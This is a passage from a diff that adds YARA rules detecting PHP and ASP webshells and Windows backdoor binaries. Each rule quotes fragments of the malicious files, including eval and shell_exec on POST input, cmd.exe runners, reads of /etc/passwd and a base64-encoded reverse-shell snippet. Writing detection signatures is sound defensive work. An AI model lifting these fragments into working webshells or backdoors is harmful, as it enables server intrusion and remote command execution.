+		$s3 = "if((isset($_POST['fileto']))||(isset($_POST['filefrom'])))" fullword
+		$s4 = "\\$port = {$_POST['port']};" fullword
+		$s5 = "$_POST['installpath'] = \"temp.pl\";}" fullword
+		$s14 = "if(isset($_POST['post']) and $_POST['post'] == \"yes\" and @$HTTP_POST_FILES[\"u"
+		$s16 = "copy($HTTP_POST_FILES[\"userfile\"][\"tmp_name\"],$HTTP_POST_FILES[\"userfile\"]"
+	condition:
+		4 of them
+}
+rule WebShell__CrystalShell_v_1_erne_stres {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, erne.php, stres.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "6eb4ab630bd25bec577b39fb8a657350bf425687"
+		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+	strings:
+		$s1 = "<input type='submit' value='  open (shill.txt) '>" fullword
+		$s4 = "var_dump(curl_exec($ch));" fullword
+		$s7 = "if(empty($_POST['Mohajer22'])){" fullword
+		$s10 = "$m=$_POST['curl'];" fullword
+		$s13 = "$u1p=$_POST['copy'];" fullword
+		$s14 = "if(empty(\\$_POST['cmd'])){" fullword
+		$s15 = "$string = explode(\"|\",$string);" fullword
+		$s16 = "$stream = imap_open(\"/etc/passwd\", \"\", \"\");" fullword
+	condition:
+		5 of them
+}
+rule WebShell_Generic_PHP_3 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Antichat Shell v1.3.php, Antichat Shell. Modified by Go0o$E.php, Antichat Shell.php, fatal.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "d829e87b3ce34460088c7775a60bded64e530cd4"
+		hash1 = "d710c95d9f18ec7c76d9349a28dd59c3605c02be"
+		hash2 = "f044d44e559af22a1a7f9db72de1206f392b8976"
+		hash3 = "41780a3e8c0dc3cbcaa7b4d3c066ae09fb74a289"
+	strings:
+		$s0 = "header('Content-Length:'.filesize($file).'');" fullword
+		$s4 = "<textarea name=\\\"command\\\" rows=\\\"5\\\" cols=\\\"150\\\">\".@$_POST['comma"
+		$s7 = "if(filetype($dir . $file)==\"file\")$files[]=$file;" fullword
+		$s14 = "elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} " fullword
+		$s20 = "$info .= (($perms & 0x0004) ? 'r' : '-');" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_4 {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, nshell.php, Loaderz WEB Shell.php, stres.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash2 = "86bc40772de71b1e7234d23cab355e1ff80c474d"
+		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+	strings:
+		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
+		$s2 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-';" fullword
+		$s5 = "$owner[\"execute\"] = ($mode & 00100) ? 'x' : '-';" fullword
+		$s6 = "$world[\"write\"] = ($mode & 00002) ? 'w' : '-';" fullword
+		$s7 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-';" fullword
+		$s10 = "foreach ($arr as $filename) {" fullword
+		$s19 = "else if( $mode & 0x6000 ) { $type='b'; }" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_5 {
+	meta:
+		description = "PHP Webshells Github Archive - from files ex0shell.php, megabor.php, GRP WebShell 2.0 release build 2018 (C)2006,Great.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "64461ad8d8f23ea078201a31d747157f701a4e00"
+		hash1 = "3df1afbcfa718da6fc8af27554834ff6d1a86562"
+		hash2 = "ad86ef7f24f75081318146edc788e5466722a629"
+	strings:
+		$s0 = "(($perms & 0x0400) ? 'S' : '-'));" fullword
+		$s10 = "} elseif (($perms & 0x8000) == 0x8000) {" fullword
+		$s11 = "if (($perms & 0xC000) == 0xC000) {" fullword
+		$s12 = "$info .= (($perms & 0x0008) ?" fullword
+		$s16 = "// Block special" fullword
+		$s18 = "$info = 's';" fullword
+	condition:
+		all of them
+}
+rule WebShell_GFS {
+	meta:
+		description = "PHP Webshells Github Archive - from files GFS web-shell ver 3.1.7 - PRiV8.php, Predator.php, GFS_web-shell_ver_3.1.7_-_PRiV8.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "c2f1ef6b11aaec255d4dd31efad18a3869a2a42c"
+		hash1 = "34f6640985b07009dbd06cd70983451aa4fe9822"
+		hash2 = "d25ef72bdae3b3cb0fc0fdd81cfa58b215812a50"
+	strings:
+		$s0 = "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\";" fullword
+		$s1 = "lIENPTk47DQpleGl0IDA7DQp9DQp9\";" fullword
+		$s2 = "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShm"
+	condition:
+		all of them
+}
+rule WebShell__CrystalShell_v_1_sosyete_stres {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, sosyete.php, stres.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "e32405e776e87e45735c187c577d3a4f98a64059"
+		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+	strings:
+		$s1 = "A:visited { COLOR:blue; TEXT-DECORATION: none}" fullword
+		$s4 = "A:active {COLOR:blue; TEXT-DECORATION: none}" fullword
+		$s11 = "scrollbar-darkshadow-color: #101842;" fullword
+		$s15 = "<a bookmark=\"minipanel\">" fullword
+		$s16 = "background-color: #EBEAEA;" fullword
+		$s18 = "color: #D5ECF9;" fullword
+		$s19 = "<center><TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 border"
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_10 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php, PHPRemoteView.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
+		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
+		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
+		hash3 = "7d5b54c7cab6b82fb7d131d7bbb989fd53cb1b57"
+	strings:
+		$s2 = "$world[\"execute\"] = ($world['execute']=='x') ? 't' : 'T'; " fullword
+		$s6 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-'; " fullword
+		$s11 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-'; " fullword
+		$s12 = "else if( $mode & 0xA000 ) " fullword
+		$s17 = "$s=sprintf(\"%1s\", $type); " fullword
+		$s20 = "font-size: 8pt;" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_11 {
+	meta:
+		description = "PHP Webshells Github Archive - from files rootshell.php, Rootshell.v.1.0.php, s72 Shell v1.1 Coding.php, s72_Shell_v1.1_Coding.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "31a82cbee8dffaf8eb7b73841f3f3e8e9b3e78cf"
+		hash1 = "838c7191cb10d5bb0fc7460b4ad0c18c326764c6"
+		hash2 = "8dfcd919d8ddc89335307a7b2d5d467b1fd67351"
+		hash3 = "80aba3348434c66ac471daab949871ab16c50042"
+	strings:
+		$s5 = "$filename = $backupstring.\"$filename\";" fullword
+		$s6 = "while ($file = readdir($folder)) {" fullword
+		$s7 = "if($file != \".\" && $file != \"..\")" fullword
+		$s9 = "$backupstring = \"copy_of_\";" fullword
+		$s10 = "if( file_exists($file_name))" fullword
+		$s13 = "global $file_name, $filename;" fullword
+		$s16 = "copy($file,\"$filename\");" fullword
+		$s18 = "<td width=\"49%\" height=\"142\">" fullword
+	condition:
+		all of them
+}
+rule WebShell__findsock_php_findsock_shell_php_reverse_shell {
+	meta:
+		description = "PHP Webshells Github Archive - from files findsock.c, php-findsock-shell.php, php-reverse-shell.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "5622c9841d76617bfc3cd4cab1932d8349b7044f"
+		hash1 = "4a20f36035bbae8e342aab0418134e750b881d05"
+		hash2 = "40dbdc0bdf5218af50741ba011c5286a723fa9bf"
+	strings:
+		$s1 = "// me at pentestmonkey@pentestmonkey.net" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_6 {
+	meta:
+		description = "PHP Webshells Github Archive - from files c0derz shell [csh] v. 0.1.1 release.php, CrystalShell v.1.php, load_shell.php, Loaderz WEB Shell.php, stres.php"
+		author = "Florian Roth"
+		super_rule = 1
+		hash0 = "1a08f5260c4a2614636dfc108091927799776b13"
+		hash1 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash2 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+	strings:
+		$s2 = "@eval(stripslashes($_POST['phpcode']));" fullword
+		$s5 = "echo shell_exec($com);" fullword
+		$s7 = "if($sertype == \"winda\"){" fullword
+		$s8 = "function execute($com)" fullword
+		$s12 = "echo decode(execute($cmd));" fullword
+		$s15 = "echo system($com);" fullword
+	condition:
+		4 of them
+}
+
+rule Unpack_Injectt {
+	meta:
+		description = "Webshells Auto-generated - file Injectt.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8a5d2158a566c87edc999771e12d42c5"
+	strings:
+		$s2 = "%s -Run                              -->To Install And Run The Service"
+		$s3 = "%s -Uninstall                        -->To Uninstall The Service"
+		$s4 = "(STANDARD_RIGHTS_REQUIRED |SC_MANAGER_CONNECT |SC_MANAGER_CREATE_SERVICE |SC_MAN"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_fso {
+	meta:
+		description = "Webshells Auto-generated - file fso.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b37f3cde1a08890bd822a182c3a881f6"
+	strings:
+		$s0 = "<!-- PageFSO Below -->"
+		$s1 = "theFile.writeLine(\"<script language=\"\"vbscript\"\" runat=server>if request(\"\"\"&cli"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_ssh {
+	meta:
+		description = "Webshells Auto-generated - file ssh.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1aa5307790d72941589079989b4f900e"
+	strings:
+		$s0 = "eval(gzinflate(str_rot13(base64_decode('"
+	condition:
+		all of them
+}
+rule Debug_BDoor {
+	meta:
+		description = "Webshells Auto-generated - file BDoor.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "e4e8e31dd44beb9320922c5f49739955"
+	strings:
+		$s1 = "\\BDoor\\"
+		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
+	condition:
+		all of them
+}
+rule bin_Client {
+	meta:
+		description = "Webshells Auto-generated - file Client.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5f91a5b46d155cacf0cc6673a2a5461b"
+	strings:
+		$s0 = "Recieved respond from server!!"
+		$s4 = "packet door client"
+		$s5 = "input source port(whatever you want):"
+		$s7 = "Packet sent,waiting for reply..."
+	condition:
+		all of them
+}
+rule ZXshell2_0_rar_Folder_ZXshell {
+	meta:
+		description = "Webshells Auto-generated - file ZXshell.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "246ce44502d2f6002d720d350e26c288"
+	strings:
+		$s0 = "WPreviewPagesn"
+		$s1 = "DA!OLUTELY N"
+	condition:
+		all of them
+}
+rule RkNTLoad {
+	meta:
+		description = "Webshells Auto-generated - file RkNTLoad.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "262317c95ced56224f136ba532b8b34f"
+	strings:
+		$s1 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
+		$s2 = "5pur+virtu!"
+		$s3 = "ugh spac#n"
+		$s4 = "xcEx3WriL4"
+		$s5 = "runtime error"
+		$s6 = "loseHWait.Sr."
+		$s7 = "essageBoxAw"
+		$s8 = "$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Reserved. $"
+	condition:
+		all of them
+}
+rule binder2_binder2 {
+	meta:
+		description = "Webshells Auto-generated - file binder2.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d594e90ad23ae0bc0b65b59189c12f11"
+	strings:
+		$s0 = "IsCharAlphaNumericA"
+		$s2 = "WideCharToM"
+		$s4 = "g 5pur+virtu!"
+		$s5 = "\\syslog.en"
+		$s6 = "heap7'7oqk?not="
+		$s8 = "- Kablto in"
+	condition:
+		all of them
+}
+rule thelast_orice2 {
+	meta:
+		description = "Webshells Auto-generated - file orice2.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "aa63ffb27bde8d03d00dda04421237ae"
+	strings:
+		$s0 = " $aa = $_GET['aa'];"
+		$s1 = "echo $aa;"
+	condition:
+		all of them
+}
+rule FSO_s_sincap {
+	meta:
+		description = "Webshells Auto-generated - file sincap.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "dc5c2c2392b84a1529abd92e98e9aa5b"
+	strings:
+		$s0 = "    <font color=\"#E5E5E5\" style=\"font-size: 8pt; font-weight: 700\" face=\"Arial\">"
+		$s4 = "<body text=\"#008000\" bgcolor=\"#808080\" topmargin=\"0\" leftmargin=\"0\" rightmargin="
+	condition:
+		all of them
+}
+rule PhpShell {
+	meta:
+		description = "Webshells Auto-generated - file PhpShell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "539baa0d39a9cf3c64d65ee7a8738620"
+	strings:
+		$s2 = "href=\"http://www.gimpster.com/wiki/PhpShell\">www.gimpster.com/wiki/PhpShell</a>."
+	condition:
+		all of them
+}
+rule HYTop_DevPack_config {
+	meta:
+		description = "Webshells Auto-generated - file config.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b41d0e64e64a685178a3155195921d61"
+	strings:
+		$s0 = "const adminPassword=\""
+		$s2 = "const userPassword=\""
+		$s3 = "const mVersion="
+	condition:
+		all of them
+}
+rule sendmail {
+	meta:
+		description = "Webshells Auto-generated - file sendmail.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "75b86f4a21d8adefaf34b3a94629bd17"
+	strings:
+		$s3 = "_NextPyC808"
+		$s6 = "Copyright (C) 2000, Diamond Computer Systems Pty. Ltd. (www.diamondcs.com.au)"
+	condition:
+		all of them
+}
+rule FSO_s_zehir4 {
+	meta:
+		description = "Webshells Auto-generated - file zehir4.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "5b496a61363d304532bcf52ee21f5d55"
+	strings:
+		$s5 = " byMesaj "
+	condition:
+		all of them
+}
+rule hkshell_hkshell {
+	meta:
+		description = "Webshells Auto-generated - file hkshell.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "168cab58cee59dc4706b3be988312580"
+	strings:
+		$s1 = "PrSessKERNELU"
+		$s2 = "Cur3ntV7sion"
+		$s3 = "Explorer8"
+	condition:
+		all of them
+}
+rule iMHaPFtp {
+	meta:
+		description = "Webshells Auto-generated - file iMHaPFtp.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "12911b73bc6a5d313b494102abcf5c57"
+	strings:
+		$s1 = "echo \"\\t<th class=\\\"permission_header\\\"><a href=\\\"$self?{$d}sort=permission$r\\\">"
+	condition:
+		all of them
+}
+rule Unpack_TBack {
+	meta:
+		description = "Webshells Auto-generated - file TBack.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a9d1007823bf96fb163ab38726b48464"
+	strings:
+		$s5 = "\\final\\new\\lcc\\public.dll"
+	condition:
+		all of them
+}
+rule DarkSpy105 {
+	meta:
+		description = "Webshells Auto-generated - file DarkSpy105.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "f0b85e7bec90dba829a3ede1ab7d8722"
+	strings:
+		$s7 = "Sorry,DarkSpy got an unknown exception,please re-run it,thanks!"
+	condition:
+		all of them
+}
+rule EditServer_EXE {
+	meta:
+		description = "Webshells Auto-generated - file EditServer.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "f945de25e0eba3bdaf1455b3a62b9832"
+	strings:
+		$s2 = "Server %s Have Been Configured"
+		$s5 = "The Server Password Exceeds 32 Characters"
+		$s8 = "9--Set Procecess Name To Inject DLL"
+	condition:
+		all of them
+}
+rule FSO_s_reader {
+	meta:
+		description = "Webshells Auto-generated - file reader.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b598c8b662f2a1f6cc61f291fb0a6fa2"
+	strings:
+		$s2 = "mailto:mailbomb@hotmail."
+	condition:
+		all of them
+}
+rule ASP_CmdAsp {
+	meta:
+		description = "Webshells Auto-generated - file CmdAsp.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "79d4f3425f7a89befb0ef3bafe5e332f"
+	strings:
+		$s2 = "' -- Read the output from our command and remove the temp file -- '"
+		$s6 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
+		$s9 = "' -- create the COM objects that we will be using -- '"
+	condition:
+		all of them
+}
+rule KA_uShell {
+	meta:
+		description = "Webshells Auto-generated - file KA_uShell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "685f5d4f7f6751eaefc2695071569aab"
+	strings:
+		$s5 = "if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass"
+		$s6 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}"
+	condition:
+		all of them
+}
+rule PHP_Backdoor_v1 {
+	meta:
+		description = "Webshells Auto-generated - file PHP Backdoor v1.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "0506ba90759d11d78befd21cabf41f3d"
+	strings:
+
+		$s5 = "echo\"<form method=\\\"POST\\\" action=\\\"\".$_SERVER['PHP_SELF'].\"?edit=\".$th"
+		$s8 = "echo \"<a href=\\\"\".$_SERVER['PHP_SELF'].\"?proxy"
+	condition:
+		all of them
+}
+rule svchostdll {
+	meta:
+		description = "Webshells Auto-generated - file svchostdll.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "0f6756c8cb0b454c452055f189e4c3f4"
+	strings:
+		$s0 = "InstallService"
+		$s1 = "RundllInstallA"
+		$s2 = "UninstallService"
+		$s3 = "&G3 Users In RegistryD"
+		$s4 = "OL_SHUTDOWN;I"
+		$s5 = "SvcHostDLL.dll"
+		$s6 = "RundllUninstallA"
+		$s7 = "InternetOpenA"
+		$s8 = "Check Cloneomplete"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_server {
+	meta:
+		description = "Webshells Auto-generated - file server.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1d38526a215df13c7373da4635541b43"
+	strings:
+		$s0 = "<!-- PageServer Below -->"
+	condition:
+		all of them
+}
+rule vanquish {
+	meta:
+		description = "Webshells Auto-generated - file vanquish.dll"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "684450adde37a93e8bb362994efc898c"
+	strings:
+		$s3 = "You cannot delete protected files/folders! Instead, your attempt has been logged"
+		$s8 = "?VCreateProcessA@@YGHPBDPADPAU_SECURITY_ATTRIBUTES@@2HKPAX0PAU_STARTUPINFOA@@PAU"
+		$s9 = "?VFindFirstFileExW@@YGPAXPBGW4_FINDEX_INFO_LEVELS@@PAXW4_FINDEX_SEARCH_OPS@@2K@Z"
+	condition:
+		all of them
+}
+rule winshell {
+	meta:
+		description = "Webshells Auto-generated - file winshell.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "3144410a37dd4c29d004a814a294ea26"
+	strings:
+		$s0 = "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"
+		$s1 = "WinShell Service"
+		$s2 = "__GLOBAL_HEAP_SELECTED"
+		$s3 = "__MSVCRT_HEAP_SELECT"
+		$s4 = "Provide Windows CmdShell Service"
+		$s5 = "URLDownloadToFileA"
+		$s6 = "RegisterServiceProcess"
+		$s7 = "GetModuleBaseNameA"
+		$s8 = "WinShell v5.0 (C)2002 janker.org"
+	condition:
+		all of them
+}
+rule FSO_s_remview {
+	meta:
+		description = "Webshells Auto-generated - file remview.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b4a09911a5b23e00b55abe546ded691c"
+	strings:
+		$s2 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\""
+		$s3 = "         echo \"<script>str$i=\\\"\".str_replace(\"\\\"\",\"\\\\\\\"\",str_replace(\"\\\\\",\"\\\\\\\\\""
+		$s4 = "      echo \"<hr size=1 noshade>\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n<"
+	condition:
+		all of them
+}
+rule saphpshell {
+	meta:
+		description = "Webshells Auto-generated - file saphpshell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d7bba8def713512ddda14baf9cd6889a"
+	strings:
+		$s0 = "<td><input type=\"text\" name=\"command\" size=\"60\" value=\"<?=$_POST['command']?>"
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006Z {
+	meta:
+		description = "Webshells Auto-generated - file 2006Z.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "fd1b6129abd4ab177fed135e3b665488"
+	strings:
+		$s1 = "wangyong,czy,allen,lcx,Marcos,kEvin1986,myth"
+		$s8 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x"
+	condition:
+		all of them
+}
+rule admin_ad {
+	meta:
+		description = "Webshells Auto-generated - file admin-ad.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "e6819b8f8ff2f1073f7d46a0b192f43b"
+	strings:
+		$s6 = "<td align=\"center\"> <input name=\"cmd\" type=\"text\" id=\"cmd\" siz"
+		$s7 = "Response.write\"<a href='\"&url&\"?path=\"&Request(\"oldpath\")&\"&attrib=\"&attrib&\"'><"
+	condition:
+		all of them
+}
+rule FSO_s_casus15 {
+	meta:
+		description = "Webshells Auto-generated - file casus15.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8d155b4239d922367af5d0a1b89533a3"
+	strings:
+		$s6 = "if((is_dir(\"$deldir/$file\")) AND ($file!=\".\") AND ($file!=\"..\"))"
+	condition:
+		all of them
+}
+rule BIN_Client {
+	meta:
+		description = "Webshells Auto-generated - file Client.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "9f0a74ec81bc2f26f16c5c172b80eca7"
+	strings:
+		$s0 = "=====Remote Shell Closed====="
+		$s2 = "All Files(*.*)|*.*||"
+		$s6 = "WSAStartup Error!"
+		$s7 = "SHGetFileInfoA"
+		$s8 = "CreateThread False!"
+		$s9 = "Port Number Error"
+	condition:
+		4 of them
+}
+rule shelltools_g0t_root_uptime {
+	meta:
+		description = "Webshells Auto-generated - file uptime.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d1f56102bc5d3e2e37ab3ffa392073b9"
+	strings:
+		$s0 = "JDiamondCSlC~"
+		$s1 = "CharactQA"
+		$s2 = "$Info: This file is packed with the UPX executable packer $"
+		$s5 = "HandlereateConso"
+		$s7 = "ION\\System\\FloatingPo"
+	condition:
+		all of them
+}
+rule Simple_PHP_BackDooR {
+	meta:
+		description = "Webshells Auto-generated - file Simple_PHP_BackDooR.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a401132363eecc3a1040774bec9cb24f"
+	strings:
+		$s0 = "<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory he"
+		$s6 = "if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fn"
+		$s9 = "// a simple php backdoor"
+	condition:
+		1 of them
+}
+rule sig_2005Gray {
+	meta:
+		description = "Webshells Auto-generated - file 2005Gray.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "75dbe3d3b70a5678225d3e2d78b604cc"
+	strings:
+		$s0 = "SCROLLBAR-FACE-COLOR: #e8e7e7;"
+		$s4 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
+		$s8 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
+		$s9 = "SCROLLBAR-3DLIGHT-COLOR: #cccccc;"
+	condition:
+		all of them
+}
+rule DllInjection {
+	meta:
+		description = "Webshells Auto-generated - file DllInjection.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "a7b92283a5102886ab8aee2bc5c8d718"
+	strings:
+		$s0 = "\\BDoor\\DllInjecti"
+	condition:
+		all of them
+}
+rule Mithril_v1_45_Mithril {
+	meta:
+		description = "Webshells Auto-generated - file Mithril.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "f1484f882dc381dde6eaa0b80ef64a07"
+	strings:
+		$s2 = "cress.exe"
+		$s7 = "\\Debug\\Mithril."
+	condition:
+		all of them
+}
+rule hkshell_hkrmv {
+	meta:
+		description = "Webshells Auto-generated - file hkrmv.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "bd3a0b7a6b5536f8d96f50956560e9bf"
+	strings:
+		$s5 = "/THUMBPOSITION7"
+		$s6 = "\\EvilBlade\\"
+	condition:
+		all of them
+}
+rule phpshell {
+	meta:
+		description = "Webshells Auto-generated - file phpshell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "1dccb1ea9f24ffbd085571c88585517b"
+	strings:
+		$s1 = "echo \"<input size=\\\"100\\\" type=\\\"text\\\" name=\\\"newfile\\\" value=\\\"$inputfile\\\"><b"
+		$s2 = "$img[$id] = \"<img height=\\\"16\\\" width=\\\"16\\\" border=\\\"0\\\" src=\\\"$REMOTE_IMAGE_UR"
+		$s3 = "$file = str_replace(\"\\\\\", \"/\", str_replace(\"//\", \"/\", str_replace(\"\\\\\\\\\", \"\\\\\", "
+	condition:
+		all of them
+}
+rule FSO_s_cmd {
+	meta:
+		description = "Webshells Auto-generated - file cmd.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cbe8e365d41dd3cd8e462ca434cf385f"
+	strings:
+		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>"
+		$s1 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)"
+	condition:
+		all of them
+}
+rule FeliksPack3___PHP_Shells_phpft {
+	meta:
+		description = "Webshells Auto-generated - file phpft.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "60ef80175fcc6a879ca57c54226646b1"
+	strings:
+		$s6 = "PHP Files Thief"
+		$s11 = "http://www.4ngel.net"
+	condition:
+		all of them
+}
+rule FSO_s_indexer {
+	meta:
+		description = "Webshells Auto-generated - file indexer.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "135fc50f85228691b401848caef3be9e"
+	strings:
+		$s3 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input type=\"r"
+	condition:
+		all of them
+}
+rule r57shell {
+	meta:
+		description = "Webshells Auto-generated - file r57shell.php"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "8023394542cddf8aee5dec6072ed02b5"
+	strings:
+		$s11 = " $_POST['cmd']=\"echo \\\"Now script try connect to"
+	condition:
+		all of them
+}
+rule bdcli100 {
+	meta:
+		description = "Webshells Auto-generated - file bdcli100.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "b12163ac53789fb4f62e4f17a8c2e028"
+	strings:
+		$s5 = "unable to connect to "
+		$s8 = "backdoor is corrupted on "
+	condition:
+		all of them
+}
+rule HYTop_DevPack_2005Red {
+	meta:
+		description = "Webshells Auto-generated - file 2005Red.asp"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "d8ccda2214b3f6eabd4502a050eb8fe8"
+	strings:
+		$s0 = "scrollbar-darkshadow-color:#FF9DBB;"
+		$s3 = "echo \"&nbsp;<a href=\"\"/\"&encodeForUrl(theHref,false)&\"\"\" target=_blank>\"&replace"
+		$s9 = "theHref=mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\"),2)"
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006X2 {
+	meta:
+		description = "Webshells Auto-generated - file 2006X2.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "cc5bf9fc56d404ebbc492855393d7620"
+	strings:
+		$s2 = "Powered By "
+		$s3 = " \" onClick=\"this.form.sharp.name=this.form.password.value;this.form.action=this."
+	condition:
+		all of them
+}
+rule rdrbs084 {
+	meta:
+		description = "Webshells Auto-generated - file rdrbs084.exe"
+		author = "Yara Bulk Rule Generator by Florian Roth"
+		hash = "ed30327b255816bdd7590bf891aa0020"
+	strings:
+		$s0 = "Create mapped port. You have to specify domain when using HTTP type."
